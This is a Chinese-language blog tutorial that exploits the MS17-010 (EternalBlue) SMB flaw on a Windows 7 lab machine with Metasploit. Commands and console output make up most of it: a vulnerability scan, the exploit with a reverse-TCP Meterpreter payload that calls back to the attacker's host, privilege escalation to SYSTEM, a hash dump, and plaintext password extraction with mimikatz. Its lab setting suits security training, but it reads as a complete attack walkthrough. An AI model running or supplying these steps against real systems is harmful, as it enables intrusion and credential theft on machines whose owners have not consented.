ms17-010漏洞利用教程

Posted 2020-11-04

主要是方便自己之后忘了，而写的，大佬绕过，大佬绕过，大佬绕过，重要的说三遍。哈哈

攻击机：

IP地址：192.168.10.15

系统：kali linux

靶机：

IP地址：192.168.10.13

系统：win7

启动metasploit-framework

~# msfconsole 

查找需要用到的攻击模块：

msf > search ms17-010

Matching Modules

================

   Name                                      Disclosure Date  Rank     Description

   ----                                      ---------------  ----     -----------

   auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

   auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detection

   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

先用辅助模块auxiliary/scanner/smb/smb_ms17_010，检测目标系统是否存在这个漏洞

msf > use auxiliary/scanner/smb/smb_ms17_010 

msf auxiliary(scanner/smb/smb_ms17_010) > options    查看需要设置那些参数，看required，如果下面是yes就必须设置

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description

   ----         ---------------                                                 --------  -----------

   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts

   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts

   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts

   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check

   RHOSTS                                                                       yes       The target address range or CIDR identifier

   RPORT        445                                                             yes       The SMB service port (TCP)

   SMBDomain    .                                                               no        The Windows domain to use for authentication

   SMBPass                                                                      no        The password for the specified username

   SMBUser                                                                      no        The username to authenticate as

   THREADS      1                                                               yes       The number of concurrent threads

msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.13  ####大部分参数已经默认，只需要设置rhosts即可

rhosts => 192.168.10.13

msf auxiliary(scanner/smb/smb_ms17_010) > run  ###执行 可以看到返回可能存在ms17-010漏洞

[+] 192.168.10.13:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

使用exploit模块：

msf auxiliary(scanner/smb/smb_ms17_010) > back   返回上层用back，不用也可以直接选择另一个模块，只是说一下

msf > 

msf > use exploit/windows/smb/ms17_010_eternalblue

msf exploit(windows/smb/ms17_010_eternalblue) > options     ###查看需要设置参数

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description

   ----                ---------------  --------  -----------

   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.

   GroomDelta          5                yes       The amount to increase the groom count by per try.

   MaxExploitAttempts  3                yes       The number of times to retry the exploit.

   ProcessName         spoolsv.exe      yes       Process to inject payload into.

   RHOST                                yes       The target address

   RPORT               445              yes       The target port (TCP)

   SMBDomain           .                no        (Optional) The Windows domain to use for authentication

   SMBPass                              no        (Optional) The password for the specified username

   SMBUser                              no        (Optional) The username to authenticate as

   VerifyArch          true             yes       Check if remote architecture matches exploit Target.

   VerifyTarget        true             yes       Check if remote OS matches exploit Target.

Exploit target:

   Id  Name

   --  ----

   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.10.13   #####设置靶机ip

RHOST => 192.168.10.13

msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp   ###设置payload如果是32位系统就用windows/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description

   ----                ---------------  --------  -----------

   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.

   GroomDelta          5                yes       The amount to increase the groom count by per try.

   MaxExploitAttempts  3                yes       The number of times to retry the exploit.

   ProcessName         spoolsv.exe      yes       Process to inject payload into.

   RHOST               192.168.10.13    yes       The target address

   RPORT               445              yes       The target port (TCP)

   SMBDomain           .                no        (Optional) The Windows domain to use for authentication

   SMBPass                              no        (Optional) The password for the specified username

   SMBUser                              no        (Optional) The username to authenticate as

   VerifyArch          true             yes       Check if remote architecture matches exploit Target.

   VerifyTarget        true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)

   LHOST                      yes       The listen address

   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name

   --  ----

   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.10.15  ####设置本地主机

lhost => 192.168.10.15

msf exploit(windows/smb/ms17_010_eternalblue) > run    ####执行

[*] Started reverse TCP handler on 192.168.10.15:4444 

[*] 192.168.10.13:445 - Connecting to target for exploitation.

[+] 192.168.10.13:445 - Connection established for exploitation.

[+] 192.168.10.13:445 - Target OS selected valid for OS indicated by SMB reply

[*] 192.168.10.13:445 - CORE raw buffer dump (38 bytes)

[*] 192.168.10.13:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima

[*] 192.168.10.13:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 

[*] 192.168.10.13:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          

[+] 192.168.10.13:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 192.168.10.13:445 - Trying exploit with 12 Groom Allocations.

[*] 192.168.10.13:445 - Sending all but last fragment of exploit packet

[*] 192.168.10.13:445 - Starting non-paged pool grooming

[+] 192.168.10.13:445 - Sending SMBv2 buffers

[+] 192.168.10.13:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

[*] 192.168.10.13:445 - Sending final SMBv2 buffers.

[*] 192.168.10.13:445 - Sending last fragment of exploit packet!

[*] 192.168.10.13:445 - Receiving response from exploit packet

[+] 192.168.10.13:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 192.168.10.13:445 - Sending egg to corrupted connection.

[*] 192.168.10.13:445 - Triggering free of corrupted buffer.

[-] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[-] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=    中间可能会失败，耐心点。

[-] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

[*] 192.168.10.13:445 - Connecting to target for exploitation.

[+] 192.168.10.13:445 - Connection established for exploitation.

[+] 192.168.10.13:445 - Target OS selected valid for OS indicated by SMB reply

[*] 192.168.10.13:445 - CORE raw buffer dump (38 bytes)

[*] 192.168.10.13:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima

[*] 192.168.10.13:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 

[*] 192.168.10.13:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          

[+] 192.168.10.13:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 192.168.10.13:445 - Trying exploit with 17 Groom Allocations.

[*] 192.168.10.13:445 - Sending all but last fragment of exploit packet

[*] 192.168.10.13:445 - Starting non-paged pool grooming

[+] 192.168.10.13:445 - Sending SMBv2 buffers

[+] 192.168.10.13:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

[*] 192.168.10.13:445 - Sending final SMBv2 buffers.

[*] 192.168.10.13:445 - Sending last fragment of exploit packet!

[*] 192.168.10.13:445 - Receiving response from exploit packet

[+] 192.168.10.13:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 192.168.10.13:445 - Sending egg to corrupted connection.

[*] 192.168.10.13:445 - Triggering free of corrupted buffer.

[*] Sending stage (206403 bytes) to 192.168.10.13

[*] Meterpreter session 1 opened (192.168.10.15:4444 -> 192.168.10.13:49341) at 2018-05-13 10:17:45 +0800

[+] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 192.168.10.13:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >      拿到一个反弹的meterpreter

渗透后的提权：

meterpreter > sysinfo  查看系统后的信息

Computer        : INI-PC

OS              : Windows 7 (Build 7601, Service Pack 1).

Architecture    : x64

System Language : zh_CN

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x64/windows

meterpreter > getsystem   ===》####用这个提权比较顺利，有时候这个提权可能提权不了，还可以通过绕过UAC进行提权，可以参考：http://netsecurity.51cto.com/art/201612/524691.htm

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid 

Server username: NT AUTHORITY\SYSTEM

抓取用户的密码：

meterpreter > hashdump 

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:9f22bada0de76a5744d444632dafa2a7:::

ini:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

meterpreter > load mimikatz   加载密码提取神器，哈哈

Loading extension mimikatz...Success.

meterpreter > kerberos 

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID    Package    Domain        User           Password

------    -------    ------        ----           --------

0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  

0;996     Negotiate  WORKGROUP     INI-PC$        

0;47944   NTLM                                    

0;999     NTLM       WORKGROUP     INI-PC$        

0;114022  NTLM       ini-PC        ini            123456

0;113976  NTLM       ini-PC        ini            123456     ###得到用户的密码